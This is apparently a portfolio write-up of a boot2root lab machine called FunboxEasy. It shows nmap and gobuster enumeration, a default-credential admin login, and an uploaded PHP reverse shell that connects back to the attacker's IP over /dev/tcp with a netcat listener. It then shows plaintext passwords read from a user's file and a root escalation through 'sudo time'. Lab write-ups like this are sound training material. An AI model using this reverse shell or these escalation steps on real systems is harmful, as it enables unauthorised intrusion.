Embedded Files
Portal to my Matrix (Professional Portfolio)
June 11th 2023
Target: 192.168.169.111
nmap -sV -sC -p- 192.168.169.111 --open -oN FunboxEasy.scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-11 21:42 GMT
Nmap scan report for 192.168.169.111
Host is up (0.069s latency).
Not shown: 64870 closed tcp ports (conn-refused), 663 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b2d8516ec584051908ebc8582713132f (RSA)
| 256 b0de9703a72ff4e2ab4a9cd9439b8a48 (ECDSA)
|_ 256 9d0f9a26384f0180a7a6809dd1d4cfec (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_gym
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Now since a apache webserver is open I'll run gobuster against it
gobuster dir -u http://192.168.169.111:80 -w /usr/share/wordlists/dirb/common.txt 21:44:44
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.169.111:80
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/06/11 21:44:45 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 280]
/.hta (Status: 403) [Size: 280]
/admin (Status: 301) [Size: 318] [--> http://192.168.169.111/admin/]
/.htaccess (Status: 403) [Size: 280]
/index.html (Status: 200) [Size: 10918]
/index.php (Status: 200) [Size: 3468]
/robots.txt (Status: 200) [Size: 14]
/secret (Status: 301) [Size: 319] [--> http://192.168.169.111/secret/]
/server-status (Status: 403) [Size: 280]
/store (Status: 301) [Size: 318] [--> http://192.168.169.111/store/]
Progress: 4587 / 4615 (99.39%)
===============================================================
2023/06/11 21:45:22 Finished
went to /store and saw the admin login at the bottom.
Used default creds admin:admin and I got in
There is a new book editor where I can add new books.
https://i.imgur.com/wlc1q17.png
Attempt to upload a reverse shell in php format since the admin_add page is in php format
my rev shell in php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.201/4444 0>&1'"); ?>
and to run a nc listener
nc -nlvp 4444
now to run the shell
Another image is at a url of
http://192.168.169.111/store/bootstrap/img/c_sharp_6.jpg
so I'll replace it with my image
And I''m in
nc -nlvp 4444 21:51:14
listening on [any] 4444 ...
connect to [192.168.45.201] from (UNKNOWN) [192.168.169.111] 47264
bash: cannot set terminal process group (842): Inappropriate ioctl for device
bash: no job control in this shell
www-data@funbox3:/var/www/html/store/bootstrap/img$ ls
ls
android_studio.jpg
beauty_js.jpg
c_14_quick.jpg
c_sharp_6.jpg
doing_good.jpg
img1.jpg
img2.jpg
img3.jpg
kotlin_250x250.png
logic_program.jpg
mobile_app.jpg
pro_asp4.jpg
pro_js.jpg
revshell.php
unnamed.png
web_app_dev.jpg
cd home/
www-data@funbox3:/home$ ls
ls
tony
www-data@funbox3:/home$ cd tony
cd tony
www-data@funbox3:/home/tony$ ls
ls
password.txt
www-data@funbox3:/home/tony$ cat pas
cat password.txt
ssh: yxcvbnmYYY
gym/admin: asdfghjklXXX
/store: admin@admin.com admin
explored for tony's info and found his ssh info
Got into Tony's account
ssh tony@192.168.169.111 21:56:37
The authenticity of host '192.168.169.111 (192.168.169.111)' can't be established.
ED25519 key fingerprint is SHA256:sMY2EwBNywi3V/cmpdMCtvcC6NM31k0H9CTRlsxALfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.169.111' (ED25519) to the list of known hosts.
tony@192.168.169.111's password:
Permission denied, please try again.
tony@192.168.169.111's password:
Permission denied, please try again.
tony@192.168.169.111's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Jun 11 21:58:14 UTC 2023
System load: 0.88 Processes: 156
Usage of /: 76.7% of 4.66GB Users logged in: 0
Memory usage: 58% IPv4 address for ens256: 192.168.169.111
Swap usage: 0%
60 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
tony@funbox3:~$
now to check for sudo privileged lists
tony@funbox3:/$ sudo -l
Matching Defaults entries for tony on funbox3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User tony may run the following commands on funbox3:
(root) NOPASSWD: /usr/bin/yelp
(root) NOPASSWD: /usr/bin/dmf
(root) NOPASSWD: /usr/bin/whois
(root) NOPASSWD: /usr/bin/rlogin
(root) NOPASSWD: /usr/bin/pkexec
(root) NOPASSWD: /usr/bin/mtr
(root) NOPASSWD: /usr/bin/finger
(root) NOPASSWD: /usr/bin/time
(root) NOPASSWD: /usr/bin/cancel
(root) NOPASSWD: /root/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/q/r/s/t/u/v/w/x/y/z/.smile.sh
I can escalate through the time command
tony@funbox3:/$ sudo time /bin/bash
root@funbox3:/# cd
root@funbox3:~# ls
proof.txt root.flag snap
root@funbox3:~# cat root.flag
Your flag is in another file...
root@funbox3:~# cat proof.txt
50e46a8fbd4f1793c405c4e99729065a
root@funbox3:~# whoami
root
I had to go back and look for the now root flag which was here
root@funbox3:/# cd var/www/
root@funbox3:/var/www# ls
html local.txt
root@funbox3:/var/www# cat local.txt
9a865fd61ade324bb6f8ef8831d5964b
boot2root
Page updated
Google Sites
Report abuse